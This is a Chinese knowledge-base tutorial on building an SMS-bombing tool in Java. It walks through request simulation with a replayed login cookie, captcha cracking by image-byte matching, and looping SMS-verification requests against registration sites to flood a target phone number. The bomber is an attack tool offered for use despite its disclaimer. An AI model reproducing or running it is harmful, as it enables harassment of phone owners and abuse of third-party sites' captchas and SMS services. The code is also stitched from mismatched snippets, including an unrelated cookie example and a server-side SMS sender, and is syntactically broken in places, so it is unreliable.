新睿云

> 知识库 > java调用短信接口实现“轰炸机的”功能,千万别用了做坏事!

java调用短信接口实现“轰炸机的”功能,千万别用了做坏事!

作者/来源:新睿云小编 发布时间:2020-01-15

本次我们对市面上的电话短信轰炸机

一、模拟请求

实现网络短信轰炸机,其最主要的是通过注册网站模拟注册给指定手机号发送验证码;

具体实现可以参考

Java httpclient模拟url请求时带上登录Cookie信息

这里,需要准备两个Jar包:httpclient-4.1.1.jar、commons-httpclient-3.1.jar

import java.net.URI;

import java.util.ArrayList;

import java.util.Date;

import java.util.List;

import org.apache.commons.httpclient.cookie.CookiePolicy;

import org.apache.commons.lang.StringUtils;

import org.apache.http.HttpResponse;

import org.apache.http.client.methods.HttpGet;

import org.apache.http.client.protocol.ClientContext;

import org.apache.http.impl.client.BasicCookieStore;

import org.apache.http.impl.client.DefaultHttpClient;

import org.apache.http.impl.client.DefaultHttpRequestRetryHandler;

import org.apache.http.impl.cookie.BasicClientCookie;

import org.apache.http.impl.cookie.BasicClientCookie2;

import org.apache.http.protocol.BasicHttpContext;

import org.apache.http.protocol.HttpContext;

import org.apache.http.util.EntityUtils;

  

public class CookiesForgeTester {

  

    public static void main(String[] args) {

        doHttpRequest();

    }

     

    @SuppressWarnings("deprecation")

    private static BasicClientCookie setWeiSiteCookies(String name,String value,String date){  

        BasicClientCookie2 cookie = new BasicClientCookie2(name,value);  

        cookie.setDomain(".everycoding.com");  

        cookie.setPath("/");  

        if (StringUtils.isNotBlank(date)) {  

            cookie.setExpiryDate(new Date(date));  

        }else{  

            cookie.setExpiryDate(null);  

        }  

        return cookie;  

    }  

   

    public static void doHttpRequest(){  

        DefaultHttpClient httpclient = new DefaultHttpClient();  

        httpclient.getParams().setParameter("http.protocol.cookie-policy",  

                CookiePolicy.BROWSER_COMPATIBILITY);  

        org.apache.http.params.HttpParams params = httpclient.getParams();  

        org.apache.http.params.HttpConnectionParams.setConnectionTimeout(params, 5000);  

        org.apache.http.params.HttpConnectionParams.setSoTimeout(params, 1000*60*10);  

        DefaultHttpRequestRetryHandler dhr = new DefaultHttpRequestRetryHandler(3,true);  

        HttpContext localContext = new BasicHttpContext();  

        //HttpRequest request2 = (HttpRequest) localContext.getAttribute(ExecutionContext.HTTP_REQUEST);  

        httpclient.setHttpRequestRetryHandler(dhr);  

        BasicCookieStore cookieStore = new BasicCookieStore();

        /**

         * 如果此处cookies的key和value是用户正在登陆认证cookies,则请求url时addCookie带上

         * 此cookies,则相当于带上了登陆的密钥,请求url可以不受登陆权限的限制,进行敏感的信息的操作。

         * 例如:

         * 对于简单的电子商务网站,我们可以根据这个思路写一个抢购的逻辑,通过机器快速下单,

         * 而无需在网页上手工点击。

         */

        cookieStore.addCookie(setWeiSiteCookies("loginUser""a8d15e8f143293f9dxxxx6c2fe23xxx971851fb910c6bbbd2c327527d86c8a16a725791c317bad88"null)); //ok  

        localContext.setAttribute(ClientContext.COOKIE_STORE, cookieStore);  

        HttpGet request = new HttpGet();  

        List urlList = urlList();

        try {

            for (String url : urlList) {

                request.setURI(URI.create(url));

                HttpResponse response = null;

                response = httpclient.execute(request, localContext);

                System.out.println("执行结果返回值:"+EntityUtils.toString(response.getEntity(), "utf-8"));

                Thread.sleep(10l);

            }

        catch (Exception e) {

            System.out.println("发生异常:"+e);

        }

    }

    public static List urlList() {

        List urlList = new ArrayList();

        List list = new ArrayList();

        list.add(1L);

        list.add(2L);

        for (Long codingId : list) {

            String url = "http://www.everycoding.com/coding/"+codingId+".html";

            urlList.add(url);

        }

        return urlList;

    }

}

二、验证验证码

需要实现赚取注册网站页面数据,和请求接口,还有模拟请求后,大部分网站需要输入图文验证码,在抓取的页面中可得到;

具体实现

下面看看具体的代码实现。

 

1图片边缘空白裁剪

这一步主要是把图片边缘的空白裁减掉,让剩余的图片刚好包含四个数字即可。图片的原始大小是60px*36px,将其导入ps中查看需要裁剪的部分,然后用程序进行裁剪。如图,就是把红色框之外的部分裁减掉。

这里写图片描述

这里为了程序尽可能简单,所以不使用第三方的Java包,知识用Java本身内置的ImageIO工具类进行图片的读写和简单裁剪,封装的函数如下图所示:

 

/**

 * 裁剪图片

 * @param srcPath 原始图片路径

 * @param readImageFormat 读取图片的格式

 * @param x 裁剪的x坐标

 * @param y 裁剪的y坐标

 * @param width 裁剪后图片宽度

 * @param height 裁剪后图片高度

 * @param writeImageFormat 保存裁剪后图片的格式

 * @param isSave 是否保存裁剪后的图片到本地[不保存会返回裁剪后图片的字节数组]

 * @param toPath 裁剪后的图片保存路径

 *

 * @return byte[] 如果图片不保存在本地,则返回裁剪后图片的字节数组

 */

public static byte[] cropImg(String srcPath, String readImageFormat, int x, int y,

                           int width, int height, String writeImageFormat, boolean isSave, String toPath) {

    FileInputStream fis = null;

    ImageInputStream iis = null;

    try {

        //读取图片文件

        fis = new FileInputStream(srcPath);

        Iterator it = ImageIO.getImageReadersByFormatName(readImageFormat);

        ImageReader reader = (ImageReader) it.next();

        //获取图片流

        iis = ImageIO.createImageInputStream(fis);

        reader.setInput(iis, true);

        ImageReadParam param = reader.getDefaultReadParam();

        //定义一个矩形

        Rectangle rect = new Rectangle(x, y, width, height);

        //提供一个 BufferedImage,将其用作解码像素数据的目标。

        param.setSourceRegion(rect);

        BufferedImage bi = reader.read(0, param);

 

        if (isSave){

            //保存新图片

            ImageIO.write(bi, writeImageFormat, new File(toPath));

            return null;

        }else {

            //返回字节数组

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(100);

            ImageIO.write(bi, writeImageFormat, byteArrayOutputStream);

            return byteArrayOutputStream.toByteArray();

        }

    catch (IOException e) {

        e.printStackTrace();

    }

    return null;

}

为了提升性能,我们在部分情况下无需将裁剪后的图片图片保存到本地,而是直接转化为字节数组然后进行处理即可。

使用下面的代码调用上面的函数即可完成对图片边缘空白的裁剪。

 

File sourceImgDir = new File("./sourceimg/");

    File[] sourceImgList = sourceImgDir.listFiles(new FileFilter() {

        @Override

        public boolean accept(File pathname) {

            if (pathname.getName().endsWith("gif")){

                return true;

            }

            return false;

        }

    });

    if (sourceImgList == null) {

        return;

    }

 

    for (File file : sourceImgList) {

        try {

            BufferedImage bufferedImage = ImageIO.read(file);

            System.out.println("width = " + bufferedImage.getWidth() + "/theight = " + bufferedImage.getHeight());

            //进行图片边缘空白的裁剪

            ImgUtil.cropImg(file.getPath(), "gif"6164410"png"true, file.getPath() + ".png");

        catch (IOException e) {

            e.printStackTrace();

        }

    }

}

裁剪完成后的对比如下:

这里写图片描述 这里写图片描述

2图片分割为单个数字

由于图片非常规整,每个数字的宽度也是一致的,所以我们可以继续使用上面的裁剪函数进行图片裁剪,即可将包含四个数字的图片裁剪为单个的数字的图片,代码如下:

 

int oneW = (bufferedImage.getWidth() - 15) / 4;

for (int i = 0; i < 4; i++) {

    cropImg(file.getPath(), "png", i * (oneW + 5), 0, oneW, 10"png", file.getPath() + i + ".png");

}

经过上面的步骤,我们就获得0-910个数字的单个图片,如下图:

3验证码对比识别

经过查看,由于图片非常规整,我们每次裁剪出来的数字图片都是一样的,也就是同一个数字的两张图片的每一个字节都是相同的,并且经过裁剪后的图片其实非常小,所以我们的识别其实就是对比,只需要将待识别的图片裁剪为4张小图,然后与我们提前准备好的单张数字图片对比即可。代码如下:

 

/**

 * 比较两个图片字节数组是否相同

 * @param img1Byte

 * @param img2Byte

 * @return

 */

public static boolean compareImg(byte[] img1Byte, byte[] img2Byte) {

    if (img1Byte == null || img2Byte == null){

        return false;

    }

 

    if (img1Byte.length == 0 || img2Byte.length == 0){

        return false;

    }

 

    if (img1Byte.length != img2Byte.length){

        return false;

    }

 

    for (int i = 0; i < img1Byte.length; i++) {

        if (img1Byte[i] != img2Byte[i]){

            return false;

        }

    }

    return true;

}

 

/**

 * 通过比较字节来获得是该图片是数字几

 * @param imgData 原始的0-9这10张图片的字节信息

 * @param srcBytes 待识别的图片字节

 * @return

 */

public static int chooseImg(List<byte[]> imgData, byte[] srcBytes){

    if (imgData == null || imgData.size() == 0

            || srcBytes == null || srcBytes.length == 0){

        return -1;

    }

    for (int i = 0; i < imgData.size(); i++) {

        if (compareImg(imgData.get(i), srcBytes)){

            return i;

        }

    }

    return -1;

}

上面的函数就是对比字节的函数。当然在对比之前,我们还需要将我们的10张数字图片加载到内存中,便于后续对比,代码如下:

 

/**

 * 图片文件转字节数组

 * @param imgFile

 * @return

 */

public static byte[] imgToBytes(File imgFile){

    if (imgFile == null){

        return null;

    }

    try {

        FileInputStream inputStream = new FileInputStream(imgFile);

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream(200);

        byte[] bytes = new byte[200];

        int n;

        while ((n = inputStream.read(bytes)) != -1){

            outputStream.write(bytes, 0, n);

        }

        inputStream.close();

        outputStream.close();

        return outputStream.toByteArray();

    catch (IOException e) {

        e.printStackTrace();

    }

    return null;

}

 

/**

 * 载入图片数据[装载需要进行比较的图片数据]

 * @param imgPath

 * @return

 */

public static List<byte[]> loadImgData(String imgPath){

    if (imgPath == null || "".equals(imgPath)){

        return null;

    }

    File imgDir = new File(imgPath);

    List<byte[]> imgData = new ArrayList<>(10);

    //获得0-9的图片数据

    File[] imgs = imgDir.listFiles(new FileFilter() {

        @Override

        public boolean accept(File pathname) {

            if (pathname.getName().endsWith(".png")){

                return true;

            }

            return false;

        }

    });

    if (imgs == null){

        return null;

    }

 

    for (File file : imgs){

        imgData.add(imgToBytes(file));

    }

    return imgData;

}

 

这里的载入我们是按顺序载入的,也就是下标为0的位置存放的就是数字0这个图片的字节数组,以此来推。

 

下面就是我们载入图片,并进行对比识别的代码:

 

public static void main(String[] args) {

    long start = System.currentTimeMillis();

    //载入0-9这10个数字的单张图片

    List<byte[]> imgData = ImgUtil.loadImgData("./one/");

 

    File[] imgsPath = new File("./sourceimg/").listFiles(new FileFilter() {

        @Override

        public boolean accept(File pathname) {

            if (pathname.getName().endsWith(".gif")){

                return true;

            }

            return false;

        }

    });

    String distImgPath = "./distimg/dist.png";

    String srcImgPath = "";

    if (imgsPath == null){

        return;

    }

    for (File f : imgsPath) {

        srcImgPath = f.getPath();

        try {

            //裁剪图片并存储在本地

            //先做图片一次裁剪,裁剪掉边缘空白

            ImgUtil.cropImg(srcImgPath, "gif"6164410"png"true, distImgPath);

            BufferedImage bufferedImage = ImageIO.read(new File(distImgPath));

 

            int oneW = (bufferedImage.getWidth() - 15) / 4;

            StringBuilder stringBuilder = new StringBuilder();

            //循环裁剪4个数字

            for (int i = 0; i < 4; i++) {

                //裁剪出每个数字

                byte[] bytes = ImgUtil.cropImg("./distimg/dist.png""png", i * (oneW + 5), 0, oneW, 10"png"falsenull);

                //对比裁剪出的数字

                stringBuilder.append(ImgUtil.chooseImg(imgData, bytes));

            }

            //打印出识别结结果

            System.out.println(stringBuilder.toString());

        catch (IOException e) {

            e.printStackTrace();

        }

    }

    System.out.println("用时" + System.currentTimeMillis() - start + "毫秒");

}

 

经过测试,7张图片的识别时间为2200毫秒左右,识别准确率为100%。

三、获取短信接口

1、拿到页面数据后,在java 后台处理数据,取出电话号码输入框,获取短信验证码按钮,输入图文验证码文本框,确定按钮;获取短信验证码请求接口;

java实现原理请参考下面代码,本次以腾讯短信接口为例。

private final static int APP_ID = 腾讯云给你分发的appid;

 

    private final static String APP_KEY = "腾讯云给你分发的appkey";

 

    @ResponseBody

    @RequestMapping("/sendCode")

    public ResultType findMyPhone(HttpServletRequest request) {

        String phoneNum = request.getParameter("phoneNum");

 

 

        int x = new Random().nextInt(1000000);

        String sendCode = String.valueOf(x);

        SmsSingleSender ssender = new SmsSingleSender(APP_ID, APP_KEY);

        SmsSingleSenderResult result = null;

        Map<String, Object> resultmap = new HashMap<>();

        try {

            result = ssender.send(0"86", phoneNum, "【xx平台】你的验证码是" + sendCode

                    ",请于2分钟内填写。如非本人操作,请忽略本短信。""""");

            if (result.result == 0) {

                sendCodeService.sendCode(phoneNum, sendCode);

                resultmap.put("sendCode", sendCode + "");

                resultmap.put("code""200");

                resultmap.put("type""OK");

                resultmap.put("msg""1");

                rt.setResultType(true);

                rt.setData(resultmap);

                rt.setResultcode(ResultTypeUtil.SUCCEED);

            else {

                rt.setResultType(false);

                rt.setResultcode(ResultTypeUtil.FAILURE);

                resultmap.put("ERR""验证码发送失败");

                resultmap.put("code""4");

                resultmap.put("msg""1");

                rt.setData(resultmap);

            }

        catch (Exception e) {

            map.put("msg""异常");

            resultmap.put("code""4");

            rt.setResultType(false);

            rt.setResultcode(ResultTypeUtil.LOSSER);

            e.printStackTrace();

            return rt;

        }

        return rt;

    }

2、将上面几点拿到后,用HttpRequst 模拟请求,就能获取到短信;

3、在自己的功能设计中,将上面的方法for循环,就能实现我们所谓的网站短信轰炸机功能;

热门标签
new year
在线咨询
咨询热线 400-0505-565
投诉与建议
{{item.description}}

—您的烦恼我们已经收到—

我们会将处理结果发送至您的手机

请耐心等待